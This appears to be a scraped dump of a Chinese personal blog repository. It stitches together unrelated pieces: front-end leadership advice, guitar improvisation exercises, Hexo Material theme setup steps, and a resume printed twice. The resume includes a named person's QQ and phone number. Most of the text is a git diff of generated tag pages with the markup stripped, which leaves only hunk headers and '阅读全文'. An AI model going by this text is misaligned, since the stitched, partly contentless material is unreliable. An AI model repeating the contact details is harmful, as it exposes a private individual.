· HTML 理解语义化· CSS 动态居中动画 Bootstrap 样式类 Preprocessor兼容性 Hack与特征检测 CSS3属性与性能· js Name hoisting Prototype Closure Main loop Promise Delegation Cross domain· Mobile 渐进增强 移动端交互 兼容性问题· Debug工具 · 方法性能 JSCache control 性能测试
具备产品思维,需求分析评审,分发开发任务,和产品经理、设计师以及后端等沟通、协调
开发需求的跟进,代码review,代码合并与发布等,精通svn或git是必须的,记住是精通,你新招的新手同事很可能不知道什么时候把别人写好的东西弄没了,你至少要知道如何找回吧
前端开发规范,开发文档、开发标准的建立和实施,关键是实施
新员工的培训、辅导
前端的技术更新太快了,一个优秀的前端leader还要引导团队了解和学习新的技术,为以后做技术储备
]]>这很重要,技术男大多很宅,要想做一个好的leader,就要多和不同的人特别是多和沟通方面强势的人打交道。
要不,等你做到leader的位置,即便是站在前端的角度来看有些极度不合理的需求,你也可能镇不住,天天接这样的需求,怨言就犹如漫天飞雪,受不了的人会选择离开,如果你的团队离职率高的话。。。Boss会觉得你是合适的吗?
]]>世间真是无奇不有….
先确定好和弦进行,比如 1-6-4-5
再找到该调中每个和弦的五级和弦,5-3-1-2
把两个和弦的音归拢 12357 - 56713 - 34561 - 45672
这样每个和弦就可以用那5个音了。现在先练习一下,在C大调中的 C-Am-F-G中用每个和弦对应的那5个音来进行第一步的练习。(对应的5个音可以按照默认的那个顺序也可以打乱练习,重点听这些音对和弦产生的效果)
重点音与经过音。
在上个练习后大家应该找到每个和弦拥有的那5个音中哪些对该和弦的性质有比较明显的效果,哪些音对该和弦有特殊的效果,哪些音对该和弦没有多大用处比较平淡。(每个人的感觉不同,练习时候的心态和练习内容不同所以最终对音乐的感受也不一样,自然最后确定的音附也不一样,相信自己的感觉,这样坚持才能发展自己的特点)
将找到的对每个和弦有用的音作为该和弦的重点,没用的作为经过音,同时不包含在每个和弦的那5个音中剩余的那两个音(46-24-27-13)刚开始练习阶段不要弹,以后熟练了再作为经过音加入到练习中。
(这个练习中,速度一定要慢,60-100左右的速度,每个和弦可以延长到2小结,重点音用4分或2分音符,经过音用16分或8分音符,每次弹奏的旋律多重复几次熟记于心)
这次就是节奏的训练,同样的旋律试着把每个音的时值改变,加入附点音,先现音,休止符等。并随着水平的进步加快速度。
从第一阶段到这个阶段差不多要练3-6个月的时间,大家先好好练习吧
(这个练习中,速度一定要慢,60-100左右的速度,每个和弦可以延长到2小结,重点音用4分或2分音符,经过音用16分或8分音符,每次弹奏的旋律多重复几次熟记于心)
建议大家先一个和弦一个和弦的练,把每个和弦和他对应的音练熟再换下一个和弦,然后再将两个和弦连起来练,然后再练下一个,再下一个,再连起来。
第一阶段的重点就是一定要在和弦中充分的把每一个应该弹的音在大脑里反映清楚并且弹好记熟。
第二阶段重点就要特别留意每个音符和对应的每个和弦和感觉(首先和弦的分解音肯定是比较稳定的感觉,剩下的两个音才是关键他们分别是和弦根音的7度和9度,这两个音和不同的和弦内音组成的旋律感觉最有特色)
另外刚开始一定注意,慢速弹,一定把要弹的音先在脑子过一遍在反映到琴上,熟练以后才能得心应手,还要注意,每个和弦有5个可以选择的音符,还剩下的两个音(相对于和弦的根音是4度和6度)不是不能用,大家可以试试,这两个音给人的感觉并不是很舒服,最好在完成这两个阶段以后在加入进来练习。
npm install hexo-meterial
该方法会将主题下载到node_modules文件夹下,找到该文件后,将文件名改为material
找到主题文件下的_config.template.yml 改成 _config.yml
npm update hexo-material
让后将文件复制到 Material 主题文件中
用于设置主题 UI 与 UX。
用来控制 Material 主题中自带的多种 js 特性。
entry_excerpt: 首页文章输出摘要的字符长度。默认为 80。
用于设置站点背景。
用于设置 Paradox 侧边栏用户下拉菜单,默认为空。
dropdown: page: link: "mailto: someone@example.com" icon: email divider: 设置成 true 后会在归档按钮底部增加一条分割线。
hexo new <title>
手动创建也行
layout 布局 posttitle 标题 文件名date 建立日期 文件建立日期updated 更新日期 文件更新日期tags 标签(不适用于分页) categories 分类(不适用于分页) permalink 覆盖文章网址 thumbnail 缩略图地址 toc 显示 TOC 按钮 truecomment 显示评论 truenotag 不生成标签按钮 falsetop 置顶 false
新建一个 about 页面:
hexo new page "about"
在 hexo 目录下的 source 文件夹内创建一个名为 links(只是建议,可根据自己喜好修改)的文件夹。
然后在文件内创建一个名为 index.md 的 Markdown 文件。
在 index.md 文件内写入如下内容即可。
---title: linksdate:layout: links---
title 可修改,layout 不可修改。
同样在在 hexo 目录下的 source 文件夹内创建一个名为 _data(禁止改名)的文件夹。
然后在文件内创建一个名为 links.yml 的文件。
单个友情链接的格式为:
Name: link: http://example.com avatar: http://example.com/avatar.png descr: "这是一个描述"
在 hexo 目录下的 source 文件夹内创建一个名为 gallery(只是建议,可根据自己喜好修改)的文件夹。
然后在文件内创建一个名为 index.md 的 Markdown 文件。
在 index.md 文件内写入如下内容即可。
---title: gallerydate:layout: gallery---
同样在在 hexo 目录下的 source 文件夹内创建一个名为 _data(禁止改名)的文件夹。
然后在文件内创建一个名为 gallery.yml 的文件。
单个图片的格式为:
Name: full_link: http://example.com/full-image.png thumb_link: http://example.com/thumb-image.png descr: "这是一个描述"
在 hexo 目录下的 source 文件夹内创建一个名为 tags(只是建议,可根据自己喜好修改)的文件夹。
然后在文件内创建一个名为 index.md 的 Markdown 文件。
在 index.md 文件内写入如下内容即可。
---title: tagsdate:layout: tags---
如果某篇文章不想显示在站点中,只需要在 front-matter 中加入
layout: private
]]>姓名:江志雄
性别:你猜
专业:软件工程
南昌·午逅科技
任务职责:完成移动端 H5 页面开发
工作目的:还原设计师给的设计稿,调整兼容性问题
2017.06 – 2017.09
杭州·机蜜
任务职责:前端业务,公共工具开发
2017.10 – 至今
前端
后端
数据库
自动化构建
版本管理
目前学习计划
基于vue的SSR框架nuxt
nodeJS / koa2
看书
健身
摇滚乐 (靠 “谱”)
本⼈是软件⼯程学⽣. 喜欢折腾爱好音乐沉迷前端能独立思考解决问题性格貌似还不错 (读完很累吧~)
行动派: 认准一件事就会全力以赴,不达目的不罢休
艺术派:前端工程师能将艺术与编程完美结合的一种职业, so, 热爱它吧
qq: 710328466
tel: 15216030330(中午和晚上一般都关机,我要睡觉…)
blog
姓名:江志雄
性别:你猜
专业:软件工程
南昌·午逅科技
任务职责:完成移动端 H5 页面开发
工作目的:还原设计师给的设计稿,调整兼容性问题
2017.06 – 2017.09
杭州·机蜜
任务职责:前端业务,公共工具开发
2017.10 – 至今
前端
后端
数据库
自动化构建
版本管理
目前学习计划
基于vue的SSR框架nuxt
nodeJS / koa2
看书
健身
摇滚乐 (靠 “谱”)
本⼈是软件⼯程学⽣. 喜欢折腾爱好音乐沉迷前端能独立思考解决问题性格貌似还不错 (读完很累吧~)
行动派: 认准一件事就会全力以赴,不达目的不罢休
艺术派:前端工程师能将艺术与编程完美结合的一种职业, so, 热爱它吧
qq: 710328466
tel: 15216030330(中午和晚上一般都关机,我要睡觉…)
blog
sessionStorage localStotage AND cookies
+sessionStorage localStotage AND cookies
@@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/css命名规范/index.html b/public/tags/css命名规范/index.html index 09d0e24..1a6c020 100644 --- a/public/tags/css命名规范/index.html +++ b/public/tags/css命名规范/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/es6/index.html b/public/tags/es6/index.html index fd7ebd6..8b9cdbf 100644 --- a/public/tags/es6/index.html +++ b/public/tags/es6/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/express/index.html b/public/tags/express/index.html index ac62533..5b22e95 100644 --- a/public/tags/express/index.html +++ b/public/tags/express/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/git/index.html b/public/tags/git/index.html index 084162f..67d7380 100644 --- a/public/tags/git/index.html +++ b/public/tags/git/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/hexo/index.html b/public/tags/hexo/index.html index 257bb8b..bfe7430 100644 --- a/public/tags/hexo/index.html +++ b/public/tags/hexo/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 @@ -498,7 +498,7 @@ - + @@ -508,7 +508,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/hybird/index.html b/public/tags/hybird/index.html index 9b06cbe..b3e210f 100644 --- a/public/tags/hybird/index.html +++ b/public/tags/hybird/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/index.html b/public/tags/index.html index 3fc0346..fec5156 100644 --- a/public/tags/index.html +++ b/public/tags/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + diff --git a/public/tags/js-methods/index.html b/public/tags/js-methods/index.html index e05cf7b..c124a51 100644 --- a/public/tags/js-methods/index.html +++ b/public/tags/js-methods/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/js/index.html b/public/tags/js/index.html index f1480fc..442ce7a 100644 --- a/public/tags/js/index.html +++ b/public/tags/js/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 @@ -498,7 +498,7 @@ - + @@ -508,7 +508,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/koa/index.html b/public/tags/koa/index.html index 7e439dc..5e67905 100644 --- a/public/tags/koa/index.html +++ b/public/tags/koa/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/localStotage/index.html b/public/tags/localStotage/index.html index 917cd45..ca87b4b 100644 --- a/public/tags/localStotage/index.html +++ b/public/tags/localStotage/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ -sessionStorage localStotage AND cookies
+sessionStorage localStotage AND cookies
@@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/mongoDB/index.html b/public/tags/mongoDB/index.html index 38e2425..48965a9 100644 --- a/public/tags/mongoDB/index.html +++ b/public/tags/mongoDB/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/nodeJS/index.html b/public/tags/nodeJS/index.html index 83e0c54..c52415b 100644 --- a/public/tags/nodeJS/index.html +++ b/public/tags/nodeJS/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ -ubuntu下搭建一个nodejs+nginx+mongodb服务器
+ubuntu下搭建一个nodejs+nginx+mongodb服务器
@@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/react/index.html b/public/tags/react/index.html index 53d682c..988130d 100644 --- a/public/tags/react/index.html +++ b/public/tags/react/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/rock/index.html b/public/tags/rock/index.html index 976581b..d0d8793 100644 --- a/public/tags/rock/index.html +++ b/public/tags/rock/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 @@ -498,7 +498,7 @@ - + @@ -508,7 +508,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/sessionStorage/index.html b/public/tags/sessionStorage/index.html index 7f6f887..eff872d 100644 --- a/public/tags/sessionStorage/index.html +++ b/public/tags/sessionStorage/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ -sessionStorage localStotage AND cookies
+sessionStorage localStotage AND cookies
@@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/sticky布局/index.html b/public/tags/sticky布局/index.html index 01f94d8..5d11918 100644 --- a/public/tags/sticky布局/index.html +++ b/public/tags/sticky布局/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/ubuntu/index.html b/public/tags/ubuntu/index.html index e11de2f..34ff0e7 100644 --- a/public/tags/ubuntu/index.html +++ b/public/tags/ubuntu/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ -ubuntu下搭建一个nodejs+nginx+mongodb服务器
+ubuntu下搭建一个nodejs+nginx+mongodb服务器
@@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/vscode/index.html b/public/tags/vscode/index.html index 38f3cba..1b993c9 100644 --- a/public/tags/vscode/index.html +++ b/public/tags/vscode/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/vue-router/index.html b/public/tags/vue-router/index.html index d973f03..f15a19a 100644 --- a/public/tags/vue-router/index.html +++ b/public/tags/vue-router/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/vue/index.html b/public/tags/vue/index.html index 1d5cfa2..e9578a6 100644 --- a/public/tags/vue/index.html +++ b/public/tags/vue/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 @@ -498,7 +498,7 @@ - + @@ -508,7 +508,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/vuex/index.html b/public/tags/vuex/index.html index 3b66071..dda2ab2 100644 --- a/public/tags/vuex/index.html +++ b/public/tags/vuex/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -425,8 +425,6 @@ - - @@ -449,7 +447,7 @@ - 阅读全文 + 阅读全文 @@ -487,6 +485,8 @@ + + diff --git a/public/tags/webpack/index.html b/public/tags/webpack/index.html index 0274217..33c088a 100644 --- a/public/tags/webpack/index.html +++ b/public/tags/webpack/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/windows/index.html b/public/tags/windows/index.html index b4ffbb9..6e797f6 100644 --- a/public/tags/windows/index.html +++ b/public/tags/windows/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/人生感悟/index.html b/public/tags/人生感悟/index.html index 1057608..de472b2 100644 --- a/public/tags/人生感悟/index.html +++ b/public/tags/人生感悟/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/全栈开发/index.html b/public/tags/全栈开发/index.html index a5fdb06..911fe1f 100644 --- a/public/tags/全栈开发/index.html +++ b/public/tags/全栈开发/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/兼容性/index.html b/public/tags/兼容性/index.html index 4571709..5fda9e7 100644 --- a/public/tags/兼容性/index.html +++ b/public/tags/兼容性/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/前端/index.html b/public/tags/前端/index.html index d3a5984..8123756 100644 --- a/public/tags/前端/index.html +++ b/public/tags/前端/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/前端规划/index.html b/public/tags/前端规划/index.html index b0250d5..76d3d83 100644 --- a/public/tags/前端规划/index.html +++ b/public/tags/前端规划/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/即兴原理/index.html b/public/tags/即兴原理/index.html index eed529d..edb42bd 100644 --- a/public/tags/即兴原理/index.html +++ b/public/tags/即兴原理/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/古典/index.html b/public/tags/古典/index.html index da0ce6e..e36864a 100644 --- a/public/tags/古典/index.html +++ b/public/tags/古典/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/同步/index.html b/public/tags/同步/index.html index f24290b..9edffd4 100644 --- a/public/tags/同步/index.html +++ b/public/tags/同步/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/哲理/index.html b/public/tags/哲理/index.html index 406d6e3..0d7f7bf 100644 --- a/public/tags/哲理/index.html +++ b/public/tags/哲理/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -439,7 +439,7 @@ - + @@ -449,7 +449,7 @@ - 阅读全文 + 阅读全文 @@ -500,7 +500,7 @@ - + @@ -510,7 +510,7 @@ - 阅读全文 + 阅读全文 @@ -561,7 +561,7 @@ - + @@ -571,7 +571,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/圣杯/index.html b/public/tags/圣杯/index.html index 861f70e..950538f 100644 --- a/public/tags/圣杯/index.html +++ b/public/tags/圣杯/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/布局/index.html b/public/tags/布局/index.html index a801085..3638340 100644 --- a/public/tags/布局/index.html +++ b/public/tags/布局/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/异步/index.html b/public/tags/异步/index.html index e308143..5f82314 100644 --- a/public/tags/异步/index.html +++ b/public/tags/异步/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/指弹/index.html b/public/tags/指弹/index.html index af0de38..9536266 100644 --- a/public/tags/指弹/index.html +++ b/public/tags/指弹/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 @@ -498,7 +498,7 @@ - + @@ -508,7 +508,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/电吉他/index.html b/public/tags/电吉他/index.html index f82de8a..ae261b2 100644 --- a/public/tags/电吉他/index.html +++ b/public/tags/电吉他/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 diff --git a/public/tags/职场/index.html b/public/tags/职场/index.html index 75af09f..d25b4c4 100644 --- a/public/tags/职场/index.html +++ b/public/tags/职场/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -313,7 +313,7 @@ - + @@ -323,7 +323,7 @@ - 阅读全文 + 阅读全文 @@ -372,7 +372,7 @@ - + @@ -382,7 +382,7 @@ - 阅读全文 + 阅读全文 @@ -437,7 +437,7 @@ - + @@ -447,7 +447,7 @@ - 阅读全文 + 阅读全文 